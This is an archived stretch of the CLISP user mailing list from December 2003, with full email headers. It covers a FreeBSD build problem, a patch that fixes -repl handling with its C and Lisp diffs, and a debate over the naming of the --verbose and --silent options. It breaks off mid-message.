boundary="Signature=_Wed__17_Dec_2003_18_02_29_+0000_q7d3ybvZzkxHXW7K" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: compiling clisp-2.31 on FreeBSD-5.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 09:57:05 2003 X-Original-Date: Wed, 17 Dec 2003 18:02:29 +0000 --Signature=_Wed__17_Dec_2003_18_02_29_+0000_q7d3ybvZzkxHXW7K Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 7bit Sam Halliday wrote: > CORRECTION: > > Sam Steingold wrote: > > however, please try either of the following two patches, in turn - i.e., > > apply first, try, _remove_ it, apply second, try again, and tell me if > > either helps. > > sorry... the first patch didnt make a difference at all; i had compiled using > a different environment than normal and this must have effected the build more > than the patch, as i just had it fail. > > testing the 2nd one now... it doesnt make a difference either, sorry --Signature=_Wed__17_Dec_2003_18_02_29_+0000_q7d3ybvZzkxHXW7K Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQE/4Jo1h5Q4qVL9G8kRAiILAJ9ZKPx49l9alHCd487hghX+DIEzzgCfUgS7 CC4QY6xfJiRvQZ6SGyvdQlo= =yiW+ -----END PGP SIGNATURE----- --Signature=_Wed__17_Dec_2003_18_02_29_+0000_q7d3ybvZzkxHXW7K-- From sds@gnu.org Wed Dec 17 12:26:42 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWiFm-00035B-7R for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 12:26:42 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AWiFl-0004a6-LE for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 12:26:42 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AWiFh-0002K9-00; Wed, 17 Dec 2003 15:26:37 -0500 To: clisp-list@lists.sourceforge.net, Sam Halliday Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031217180229.263473b0.fommil@yahoo.ie> (Sam Halliday's message of "Wed, 17 Dec 2003 18:02:29 +0000") References: <20031217152725.75f9403b.fommil@yahoo.ie> <20031217164842.07126a3e.fommil@yahoo.ie> <20031217175514.30e58472.fommil@yahoo.ie> <20031217180229.263473b0.fommil@yahoo.ie> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: compiling clisp-2.31 on FreeBSD-5.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 12:27:05 2003 X-Original-Date: Wed, 17 Dec 2003 15:26:35 -0500 > * Sam Halliday [2003-12-17 18:02:29 +0000]: >> sorry... the first patch didnt make a difference at all >> testing the 2nd one now... > it doesnt make a difference either, sorry please clean-up your CLISP installation, apply the appended patch, and do ./configure --with-module=regexp build build-dir please tell us what is printed for "LIBS before & after". (you might want to add sed(){ echo "sed: "$* >&2; /bin/sed $*; } as Pascal suggested) -- Sam Steingold (http://www.podval.org/~sds) running w2k Ernqvat guvf ivbyngrf QZPN. --- clisp-link.in.~1.15.~ 2003-07-31 19:42:07.823688600 -0400 +++ clisp-link.in 2003-12-17 14:59:00.804896000 -0500 @@ -422,7 +422,9 @@ verbose "$destinationdir"/${LISPRUN} -B "$installbasedir" -M "$sourcedir"/lispinit.mem -norc -q -i ${LOAD} -x "(saveinitmem \"$destinationdir/lispinit.mem\")" fi # Generate new makevars - LIBS=`echo $LIBS | sed s/','/'\\,'/g` + echo "LIBS: before: "$LIBS + LIBS=`echo $LIBS | sed s/','/'\\\\,'/g` + echo "LIBS: after: "$LIBS sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars fi # Done. From sds@gnu.org Thu Dec 18 12:31:13 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AX4nh-0000PQ-Iy for clisp-list@lists.sourceforge.net; Thu, 18 Dec 2003 12:31:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AX4ng-00077y-Gi for clisp-list@lists.sourceforge.net; Thu, 18 Dec 2003 12:31:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBIKUre16995; Thu, 18 Dec 2003 15:30:54 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Rick Taube Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> (Rick Taube's message of "Sat, 13 Dec 2003 09:52:40 -0600") References: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: -repl problem in clisp 2.31 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 18 12:32:01 2003 X-Original-Date: Thu, 18 Dec 2003 15:30:53 -0500 > * Rick Taube [2003-12-13 09:52:40 -0600]: > > Hi, Im trying to make a script that beginning lisp users will use. this > script will > 1 start up clisp > 2 load a file > 3 eval an expression and then > 4 enter the standard clisp repl. > > If I do: > > clisp -i src/make.lisp -x "(make-cm :save-image nil)" -repl please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Save your burned out bulbs for me, I'm building my own dark room. Index: src/spvw.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/spvw.d,v retrieving revision 1.243 diff -u -w -b -r1.243 spvw.d --- src/spvw.d 4 Nov 2003 21:47:31 -0000 1.243 +++ src/spvw.d 18 Dec 2003 20:21:43 -0000 @@ -1635,6 +1635,15 @@ skipSTACK(1); } +/* can trigger GC */ +local object appease_form (bool interactive_debug, object form) +{ /* return `(BATCHMODE-ERRORS ,form) */ + if (interactive_debug) pushSTACK(S(appease_cerrors)); + else pushSTACK(S(batchmode_errors)); + pushSTACK(form); + return listof(2); +} + # main program stores the name 'main'. #ifdef NEXTAPP # main() already exists in Lisp_main.m @@ -2875,12 +2884,7 @@ }); } var object form = listof(1+argcount); # `(COMPILE-FILE ',...) - if (!argv_repl) { - if (argv_interactive_debug) pushSTACK(S(appease_cerrors)); - else pushSTACK(S(batchmode_errors)); - pushSTACK(form); - form = listof(2); # `(SYS::BATCHMODE-ERRORS (COMPILE-FILE ',...)) - } + if (!argv_repl) form = appease_form(argv_interactive_debug,form); eval_noenv(form); # execute fileptr++; }); @@ -2934,33 +2938,25 @@ pushSTACK(NIL); #endif form = listof(4); - if (!argv_repl) { - if (argv_interactive_debug) pushSTACK(S(appease_cerrors)); - else pushSTACK(S(batchmode_errors)); - pushSTACK(form); - form = listof(2); # `(SYS::BATCHMODE-ERRORS (LOAD "...")) - } + if (!argv_repl) form = appease_form(argv_interactive_debug,form); eval_noenv(form); # execute if (!argv_repl) quit(); } if (argv_expr_count) { # set *STANDARD-INPUT* to a stream, that produces argv_exprs: - var uintL count = argv_expr_count; var char** exprs = &argv_selection_array[argc-1]; + if (argv_expr_count > 1) { + var uintL count = argv_expr_count; do { pushSTACK(asciz_to_string(*exprs--,O(misc_encoding))); } while (--count); - pushSTACK(O(newline_string)); /* separate -x from REPL */ - var object total = string_concat(argv_expr_count+1); + var object total = string_concat(argv_expr_count); pushSTACK(total); + } else pushSTACK(asciz_to_string(*exprs--,O(misc_encoding))); funcall(L(make_string_input_stream),1); - if (argv_repl) { - pushSTACK(value1); pushSTACK(Symbol_value(S(standard_input))); - funcall(L(make_concatenated_stream),2); - } - Symbol_value(S(standard_input)) = value1; # During bootstrapping, *DRIVER* has no value and SYS::BATCHMODE-ERRORS # is undefined. Do not set an error handler in that case. - if (!nullpSv(driverstern) && !argv_repl) { + if (!nullpSv(driverstern)) { + dynamic_bind(S(standard_input),value1); # (PROGN # (EXIT-ON-ERROR (APPEASE-CERRORS (FUNCALL *DRIVER*))) # ; Normally this will exit by itself once the string has reached EOF, @@ -2968,12 +2964,12 @@ # (UNLESS argv_repl (EXIT))) var object form; pushSTACK(S(funcall)); pushSTACK(S(driverstern)); form = listof(2); - if (argv_interactive_debug) pushSTACK(S(appease_cerrors)); - else pushSTACK(S(batchmode_errors)); - pushSTACK(form); form = listof(2); + if (!argv_repl) form = appease_form(argv_interactive_debug,form); eval_noenv(form); if (!argv_repl) quit(); - } + else dynamic_unbind(S(standard_input)); + } else /* no *DRIVER* => bootstrap, no -repl */ + Symbol_value(S(standard_input)) = value1; } # call read-eval-print-loop: driver(); Index: src/reploop.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/reploop.lisp,v retrieving revision 1.26 diff -u -w -b -r1.26 reploop.lisp --- src/reploop.lisp 12 Dec 2003 17:46:33 -0000 1.26 +++ src/reploop.lisp 18 Dec 2003 20:21:43 -0000 @@ -403,7 +403,10 @@ ;; T -> # ;; NIL -> form is already evaluated ;; result has been printed - (exit)))))) + (if (interactive-stream-p *standard-input*) + (exit) ; user typed EOF + (progn (setq *command-index* 0) ; reset *command-index* + (return-from main-loop)))))))) ; and proceed (setq *driver* #'main-loop) From sds@gnu.org Thu Dec 18 14:51:51 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AX6zn-0000iv-2q for clisp-list@lists.sourceforge.net; Thu, 18 Dec 2003 14:51:51 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AX6zm-0006Nu-6y for clisp-list@lists.sourceforge.net; Thu, 18 Dec 2003 14:51:50 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBIMpde27297; Thu, 18 Dec 2003 17:51:39 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] headsup: proposed incompatible change in command-line options Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 18 14:52:02 2003 X-Original-Date: Thu, 18 Dec 2003 17:51:39 -0500 2.31 introduced "-v/--verbose" which is contrary to the CLISP practice of naming "initial" options in lower case and "persistent" options in upper case (compare -C/-M/-K with -m). Also, on some platforms "-s" sets the stack size. Also, "--silent" has always been a synonym for "-q". _PROPOSAL_: 1. new option "-S/--silent" to mean (setq *load-verbose* nil *compile-verbose* nil) incompatibility: "--silent" meant "no banner before". probably never used because "-q/--quiet" was the "first choice". 2. change "-v/--verbose" to "-V/--verbose". incompatibility: "-v" was used before. unless there are complaints, this change will go into the CVS soon. -- Sam Steingold (http://www.podval.org/~sds) running w2k I haven't lost my mind -- it's backed up on tape somewhere. From bruno@clisp.org Fri Dec 19 05:43:22 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AXKuY-0002R3-5q for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 05:43:22 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AXKuX-0001sz-G6 for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 05:43:21 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with ESMTP id hBJDhERw009016; Fri, 19 Dec 2003 14:43:14 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id hBJDhC00027840; Fri, 19 Dec 2003 14:43:12 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id EB03517889; Fri, 19 Dec 2003 13:41:41 +0000 (UTC) From: Bruno Haible To: sds@gnu.org, clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200312191441.40870.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: headsup: proposed incompatible change in command-line options Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 19 05:44:03 2003 X-Original-Date: Fri, 19 Dec 2003 14:41:40 +0100 Sam wrote: > 2.31 introduced "-v/--verbose" which is contrary to the CLISP practice > of naming "initial" options in lower case and "persistent" options in > upper case (compare -C/-M/-K with -m). There is no such intended borderline between uppercase and lowercase options. The only differences that I can see between -C/-M/-K and -m are - -M/-K change the configuration of _which_ clisp is run, whereas -m sets _how_ it is run. But the options -L and -C don't follow this philosophy. - -B/-M are meant to be used less often (more for "expert" users), but -C and -K are not. > _PROPOSAL_: > > 1. new option "-S/--silent" to mean > (setq *load-verbose* nil *compile-verbose* nil) > incompatibility: "--silent" meant "no banner before". > probably never used because "-q/--quiet" was the "first choice". > > 2. change "-v/--verbose" to "-V/--verbose". > incompatibility: "-v" was used before. I object against this proposal, for the sake of consistency of command line options among programs. The first thing a Unix user becomes familiar with are the coreutils (ls, cp, etc.), and therefore the users will expect the same meaning and the same abbreviations for the same long options. Now look at the coreutils manual: 1. For all programs, --quiet and --silent are equivalent. 2. In all programs in which --verbose has a short option, this short option is '-v'. What I propose instead is that repeated use of -q/--quiet/--silent sets *load-verbose* and *compile-verbose* to nil, in addition to suppressing the banner (single use of -q/--quiet/--silent). Like gcc's or tar's "--verbose" options, when duplicated, mean "really verbose". Bruno From sds@gnu.org Fri Dec 19 06:06:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AXLGY-0003UA-O6 for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 06:06:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AXLGX-00081f-6u for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 06:06:05 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBJE5qv27337; Fri, 19 Dec 2003 09:05:53 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200312191441.40870.bruno@clisp.org> (Bruno Haible's message of "Fri, 19 Dec 2003 14:41:40 +0100") References: <200312191441.40870.bruno@clisp.org> User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: headsup: proposed incompatible change in command-line options Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 19 06:07:02 2003 X-Original-Date: Fri, 19 Dec 2003 09:05:52 -0500 > * Bruno Haible [2003-12-19 14:41:40 +0100]: > > Sam wrote: >> 2.31 introduced "-v/--verbose" which is contrary to the CLISP practice >> of naming "initial" options in lower case and "persistent" options in >> upper case (compare -C/-M/-K with -m). > > There is no such intended borderline between uppercase and lowercase > options. I thought you told me in early 1998 that there was such a distinction... >> 1. new option "-S/--silent" to mean >> (setq *load-verbose* nil *compile-verbose* nil) >> incompatibility: "--silent" meant "no banner before". >> probably never used because "-q/--quiet" was the "first choice". >> >> 2. change "-v/--verbose" to "-V/--verbose". >> incompatibility: "-v" was used before. > > I object against this proposal, for the sake of consistency of command line > options among programs. The first thing a Unix user becomes familiar with > are the coreutils (ls, cp, etc.), and therefore the users will expect the > same meaning and the same abbreviations for the same long options. Now > look at the coreutils manual: > 1. For all programs, --quiet and --silent are equivalent. only few programs accept --silent, IMO. > 2. In all programs in which --verbose has a short option, this short option > is '-v'. > > What I propose instead is that repeated use of -q/--quiet/--silent > sets *load-verbose* and *compile-verbose* to nil, in addition to > suppressing the banner (single use of -q/--quiet/--silent). Like gcc's > or tar's "--verbose" options, when duplicated, mean "really verbose". -q changes only start/end behavior. -q -q will change the behavior of the lisp world. this is extremely confusing and inconvenient. also, setting *load-verbose* &c is an "application" thing, e.g., Rick Taube wanted to suppress some messages during startup of common music. suppressing CLISP banner is a "user" thing, an application has no business passing -q to CLISP. how about "--no-verbose/-V"? -- Sam Steingold (http://www.podval.org/~sds) running w2k Diplomacy is the art of saying "nice doggy" until you can find a rock. From bruno@clisp.org Fri Dec 19 08:30:44 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AXNWW-0001ek-QU for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 08:30:44 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AXNWW-000061-1U for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 08:30:44 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with ESMTP id hBJGUVRw023579; Fri, 19 Dec 2003 17:30:31 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id hBJGUT00023763; Fri, 19 Dec 2003 17:30:30 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 09A5217889; Fri, 19 Dec 2003 16:28:56 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <200312191441.40870.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200312191728.54901.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: headsup: proposed incompatible change in command-line options Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 19 08:31:04 2003 X-Original-Date: Fri, 19 Dec 2003 17:28:54 +0100 Sam wrote: > > Now look at the coreutils manual: > > 1. For all programs, --quiet and --silent are equivalent. > > only few programs accept --silent, IMO. If you can't be convinced by looking at the coreutils alone, look at a /usr/bin directory: chgrp, chmod, chown, cmp, csplit, head, tail, tty (GNU coreutils) grep, fgrep, zgrep (GNU grep) sed (GNU sed) ed (GNU ed) gcc, g++, gcj, g77, cpp (GNU gcc) gdb (GNU gdb) make (GNU make) enscript (GNU enscript) gzip, gunzip, zcat (GNU gzip) iconv (GNU libc) msgmerge, msgfilter (GNU gettext) libtool (GNU libtool) m4 (GNU m4) patch (GNU patch) recode (Free recode) shar (GNU sharutils) ipcalc less mysql, myisamchk, myisampack, mysqladmin, perror, resolveip, ... (MySQL) curl fetchmail texi2dvi texlinks zgrep zipgrep mcs (mono) All these support --silent, and for most of them --quiet is equivalent. > -q changes only start/end behavior. > -q -q will change the behavior of the lisp world. > this is extremely confusing and inconvenient. Whether an option changes only start/end behaviour or not, is not very important. From a user's point of view, it's important whether stdout is cluttered at all or not, not whether the clutter comes from the startup routines or from the LOAD function. > also, setting *load-verbose* &c is an "application" thing, e.g., Rick > Taube wanted to suppress some messages during startup of common music. > suppressing CLISP banner is a "user" thing, an application has no > business passing -q to CLISP. Suppressing the banner is both a user and application preference: In my old Maxima port, the banner was suppressed so that Maxima looked like as in other Maxima ports. Anyway, global variables are for the application and command-line switches for the user. > how about "--no-verbose/-V"? That would be very confusing, given that it's not the contrary of --verbose. (One switch affects *load-print*, the other affects *load-verbose*.) Bruno From sds@gnu.org Fri Dec 19 09:00:29 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AXNzJ-0003La-0E for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 09:00:29 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AXNzH-0001Kr-PP for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 09:00:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBJH0Ev23610; Fri, 19 Dec 2003 12:00:15 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200312191728.54901.bruno@clisp.org> (Bruno Haible's message of "Fri, 19 Dec 2003 17:28:54 +0100") References: <200312191441.40870.bruno@clisp.org> <200312191728.54901.bruno@clisp.org> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: headsup: proposed incompatible change in command-line options Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 19 09:01:09 2003 X-Original-Date: Fri, 19 Dec 2003 12:00:14 -0500 > * Bruno Haible [2003-12-19 17:28:54 +0100]: > All these support --silent, and for most of them --quiet is equivalent. OK, you got me here. >> -q changes only start/end behavior. >> -q -q will change the behavior of the lisp world. >> this is extremely confusing and inconvenient. > > Whether an option changes only start/end behaviour or not, is not very > important. From a user's point of view, it's important whether stdout > is cluttered at all or not, not whether the clutter comes from the > startup routines or from the LOAD function. OK, fine, so "-q" will kill the banner and "-q -q" will set *.*-VERBOSE* to NIL. this is compatible with 2.31. are people happy? >> also, setting *load-verbose* &c is an "application" thing, e.g., Rick >> Taube wanted to suppress some messages during startup of common music. >> suppressing CLISP banner is a "user" thing, an application has no >> business passing -q to CLISP. > > Suppressing the banner is both a user and application preference: In > my old Maxima port, the banner was suppressed so that Maxima looked > like as in other Maxima ports. IMNSHO this was a wrong thing for Maxima to do. OTOH, programs compiled with GCC do not start with an announcement to that effect, so, I guess, I am alone. -- Sam Steingold (http://www.podval.org/~sds) running w2k Please wait, MS Windows are preparing the blue screen of death. From bruno@clisp.org Fri Dec 19 13:10:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AXRtG-0008N0-Oc for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 13:10:30 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AXRtG-00030y-7C for clisp-list@lists.sourceforge.net; Fri, 19 Dec 2003 13:10:30 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with ESMTP id hBJLAPRw001969 for ; Fri, 19 Dec 2003 22:10:25 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id hBJLAO00014220; Fri, 19 Dec 2003 22:10:24 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 26A4717889; Fri, 19 Dec 2003 21:08:50 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200312192208.49080.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 19 13:11:02 2003 X-Original-Date: Fri, 19 Dec 2003 22:08:49 +0100 Pascal Bourgignon =E9crivait: > 